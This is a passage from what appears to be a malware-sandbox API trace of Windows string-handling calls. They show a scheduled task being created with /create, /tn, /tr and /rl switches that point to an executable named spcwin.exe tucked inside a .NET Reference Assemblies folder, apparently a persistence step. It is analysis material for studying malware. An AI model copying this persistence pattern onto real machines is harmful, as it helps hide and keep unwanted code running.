_Buffer="|tr|") returned 4 [0130.879] lstrlenW (lpString="|tn|") returned 4 [0130.879] lstrlenW (lpString="|tr|") returned 4 [0130.879] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0130.879] SetLastError (dwErrCode=0x490) [0130.879] lstrlenW (lpString="tr") returned 2 [0130.879] lstrlenW (lpString="tr") returned 2 [0130.879] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.879] lstrlenW (lpString="tr") returned 2 [0130.879] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.879] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.880] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.880] lstrlenW (lpString="|tr|") returned 4 [0130.880] lstrlenW (lpString="|tr|") returned 4 [0130.880] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0130.880] SetLastError (dwErrCode=0x0) [0130.880] SetLastError (dwErrCode=0x0) [0130.880] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.880] lstrlenW (lpString="-/") returned 2 [0130.881] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0130.881] SetLastError (dwErrCode=0x490) [0130.881] SetLastError (dwErrCode=0x490) [0130.881] SetLastError (dwErrCode=0x0) [0130.881] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.881] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0130.881] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.881] _memicmp (_Buf1=0x45c390, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.881] _memicmp (_Buf1=0x45d540, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.881] SetLastError (dwErrCode=0x7a) [0130.881] SetLastError (dwErrCode=0x0) [0130.881] SetLastError (dwErrCode=0x0) [0130.881] lstrlenW (lpString="'C") returned 2 [0130.881] lstrlenW (lpString="-/") returned 2 [0130.882] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0130.882] SetLastError (dwErrCode=0x490) [0130.882] SetLastError (dwErrCode=0x490) [0130.882] SetLastError (dwErrCode=0x0) [0130.882] _memicmp (_Buf1=0x45d5a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.882] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.882] GetProcessHeap () returned 0x440000 [0130.882] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5c0) returned 1 [0130.882] GetProcessHeap () returned 0x440000 [0130.882] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45d5c0, Size=0xae) returned 0x45c2d0 [0130.882] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.882] lstrlenW (lpString=" \x09") returned 2 [0130.882] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0130.882] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0130.882] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0130.882] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0130.883] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.883] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0130.884] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0130.884] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0130.885] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0130.886] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0130.887] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0130.888] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0130.888] GetLastError () returned 0x0 [0130.888] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.888] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0130.888] SetLastError (dwErrCode=0x0) [0130.888] SetLastError (dwErrCode=0x0) [0130.888] lstrlenW (lpString="/rl") returned 3 [0130.888] lstrlenW (lpString="-/") returned 2 [0130.888] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.888] lstrlenW (lpString="create") returned 6 [0130.889] lstrlenW (lpString="create") returned 6 [0130.889] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.889] lstrlenW (lpString="rl") returned 2 [0130.889] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.889] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.889] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.889] lstrlenW (lpString="|create|") returned 8 [0130.889] lstrlenW (lpString="|rl|") returned 4 [0130.889] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0130.889] SetLastError (dwErrCode=0x490) [0130.889] lstrlenW (lpString="?") returned 1 [0130.889] lstrlenW (lpString="?") returned 1 [0130.889] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.889] lstrlenW (lpString="rl") returned 2 [0130.889] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.890] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.890] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.890] lstrlenW (lpString="|?|") returned 3 [0130.890] lstrlenW (lpString="|rl|") returned 4 [0130.890] SetLastError (dwErrCode=0x490) [0130.890] lstrlenW (lpString="s") returned 1 [0130.890] lstrlenW (lpString="s") returned 1 [0130.890] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.890] lstrlenW (lpString="rl") returned 2 [0130.890] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.890] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.890] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.890] lstrlenW (lpString="|s|") returned 3 [0130.890] lstrlenW (lpString="|rl|") returned 4 [0130.891] SetLastError (dwErrCode=0x490) [0130.891] lstrlenW (lpString="u") returned 1 [0130.891] lstrlenW (lpString="u") returned 1 [0130.891] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.891] lstrlenW (lpString="rl") returned 2 [0130.891] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.891] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.891] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.891] lstrlenW (lpString="|u|") returned 3 [0130.891] lstrlenW (lpString="|rl|") returned 4 [0130.891] SetLastError (dwErrCode=0x490) [0130.891] lstrlenW (lpString="p") returned 1 [0130.891] lstrlenW (lpString="p") returned 1 [0130.892] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.892] lstrlenW (lpString="rl") returned 2 [0130.892] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.892] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.892] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.892] lstrlenW (lpString="|p|") returned 3 [0130.892] lstrlenW (lpString="|rl|") returned 4 [0130.892] SetLastError (dwErrCode=0x490) [0130.892] lstrlenW (lpString="ru") returned 2 [0130.892] lstrlenW (lpString="ru") returned 2 [0130.892] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.892] lstrlenW (lpString="rl") returned 2 [0130.893] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.893] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.893] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.893] lstrlenW (lpString="|ru|") returned 4 [0130.893] lstrlenW (lpString="|rl|") returned 4 [0130.893] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0130.893] SetLastError (dwErrCode=0x490) [0130.893] lstrlenW (lpString="rp") returned 2 [0130.893] lstrlenW (lpString="rp") returned 2 [0130.893] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.893] lstrlenW (lpString="rl") returned 2 [0130.893] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.893] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.894] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.894] lstrlenW (lpString="|rp|") returned 4 [0130.894] lstrlenW (lpString="|rl|") returned 4 [0130.894] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0130.894] SetLastError (dwErrCode=0x490) [0130.894] lstrlenW (lpString="sc") returned 2 [0130.894] lstrlenW (lpString="sc") returned 2 [0130.894] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.894] lstrlenW (lpString="rl") returned 2 [0130.894] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.894] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.894] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.894] lstrlenW (lpString="|sc|") returned 4 [0130.895] lstrlenW (lpString="|rl|") returned 4 [0130.895] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0130.895] SetLastError (dwErrCode=0x490) [0130.895] lstrlenW (lpString="mo") returned 2 [0130.895] lstrlenW (lpString="mo") returned 2 [0130.895] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.895] lstrlenW (lpString="rl") returned 2 [0130.895] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.895] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.895] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.895] lstrlenW (lpString="|mo|") returned 4 [0130.895] lstrlenW (lpString="|rl|") returned 4 [0130.895] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0130.895] SetLastError (dwErrCode=0x490) [0130.896] lstrlenW (lpString="d") returned 1 [0130.896] lstrlenW (lpString="d") returned 1 [0130.896] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.896] lstrlenW (lpString="rl") returned 2 [0130.896] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.896] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|d|") returned 3 [0130.896] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.896] lstrlenW (lpString="|d|") returned 3 [0130.896] lstrlenW (lpString="|rl|") returned 4 [0130.896] SetLastError (dwErrCode=0x490) [0130.896] lstrlenW (lpString="m") returned 1 [0130.896] lstrlenW (lpString="m") returned 1 [0130.896] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.896] lstrlenW (lpString="rl") returned 2 [0130.897] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.897] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|m|") returned 3 [0130.897] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.897] lstrlenW (lpString="|m|") returned 3 [0130.897] lstrlenW (lpString="|rl|") returned 4 [0130.897] SetLastError (dwErrCode=0x490) [0130.897] lstrlenW (lpString="i") returned 1 [0130.897] lstrlenW (lpString="i") returned 1 [0130.897] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.897] lstrlenW (lpString="rl") returned 2 [0130.897] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.897] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|i|") returned 3 [0130.898] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.898] lstrlenW (lpString="|i|") returned 3 [0130.898] lstrlenW (lpString="|rl|") returned 4 [0130.898] SetLastError (dwErrCode=0x490) [0130.898] lstrlenW (lpString="tn") returned 2 [0130.898] lstrlenW (lpString="tn") returned 2 [0130.898] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.898] lstrlenW (lpString="rl") returned 2 [0130.898] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.898] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.898] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.902] lstrlenW (lpString="|tn|") returned 4 [0130.902] lstrlenW (lpString="|rl|") returned 4 [0130.902] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0130.902] SetLastError (dwErrCode=0x490) [0130.902] lstrlenW (lpString="tr") returned 2 [0130.902] lstrlenW (lpString="tr") returned 2 [0130.902] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.902] lstrlenW (lpString="rl") returned 2 [0130.902] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.902] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.903] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.903] lstrlenW (lpString="|tr|") returned 4 [0130.903] lstrlenW (lpString="|rl|") returned 4 [0130.903] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0130.903] SetLastError (dwErrCode=0x490) [0130.903] lstrlenW (lpString="st") returned 2 [0130.903] lstrlenW (lpString="st") returned 2 [0130.903] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.903] lstrlenW (lpString="rl") returned 2 [0130.903] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.903] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|st|") returned 4 [0130.903] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.903] lstrlenW (lpString="|st|") returned 4 [0130.903] lstrlenW (lpString="|rl|") returned 4 [0130.903] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0130.903] SetLastError (dwErrCode=0x490) [0130.903] lstrlenW (lpString="sd") returned 2 [0130.903] lstrlenW (lpString="sd") returned 2 [0130.903] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.903] lstrlenW (lpString="rl") returned 2 [0130.903] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.904] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sd|") returned 4 [0130.904] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.904] lstrlenW (lpString="|sd|") returned 4 [0130.904] lstrlenW (lpString="|rl|") returned 4 [0130.904] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0130.904] SetLastError (dwErrCode=0x490) [0130.904] lstrlenW (lpString="ed") returned 2 [0130.904] lstrlenW (lpString="ed") returned 2 [0130.904] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.904] lstrlenW (lpString="rl") returned 2 [0130.904] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.904] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ed|") returned 4 [0130.904] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.904] lstrlenW (lpString="|ed|") returned 4 [0130.904] lstrlenW (lpString="|rl|") returned 4 [0130.904] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0130.904] SetLastError (dwErrCode=0x490) [0130.904] lstrlenW (lpString="it") returned 2 [0130.904] lstrlenW (lpString="it") returned 2 [0130.904] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.904] lstrlenW (lpString="rl") returned 2 [0130.904] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.904] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|it|") returned 4 [0130.905] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.905] lstrlenW (lpString="|it|") returned 4 [0130.905] lstrlenW (lpString="|rl|") returned 4 [0130.905] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0130.905] SetLastError (dwErrCode=0x490) [0130.905] lstrlenW (lpString="et") returned 2 [0130.905] lstrlenW (lpString="et") returned 2 [0130.905] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.905] lstrlenW (lpString="rl") returned 2 [0130.905] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.905] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|et|") returned 4 [0130.905] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.905] lstrlenW (lpString="|et|") returned 4 [0130.905] lstrlenW (lpString="|rl|") returned 4 [0130.905] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0130.905] SetLastError (dwErrCode=0x490) [0130.905] lstrlenW (lpString="k") returned 1 [0130.905] lstrlenW (lpString="k") returned 1 [0130.905] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.905] lstrlenW (lpString="rl") returned 2 [0130.905] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.905] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|k|") returned 3 [0130.906] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.906] lstrlenW (lpString="|k|") returned 3 [0130.906] lstrlenW (lpString="|rl|") returned 4 [0130.906] SetLastError (dwErrCode=0x490) [0130.906] lstrlenW (lpString="du") returned 2 [0130.906] lstrlenW (lpString="du") returned 2 [0130.906] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.906] lstrlenW (lpString="rl") returned 2 [0130.906] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.906] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|du|") returned 4 [0130.906] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.906] lstrlenW (lpString="|du|") returned 4 [0130.906] lstrlenW (lpString="|rl|") returned 4 [0130.906] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0130.906] SetLastError (dwErrCode=0x490) [0130.906] lstrlenW (lpString="ri") returned 2 [0130.906] lstrlenW (lpString="ri") returned 2 [0130.906] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.906] lstrlenW (lpString="rl") returned 2 [0130.907] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.907] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ri|") returned 4 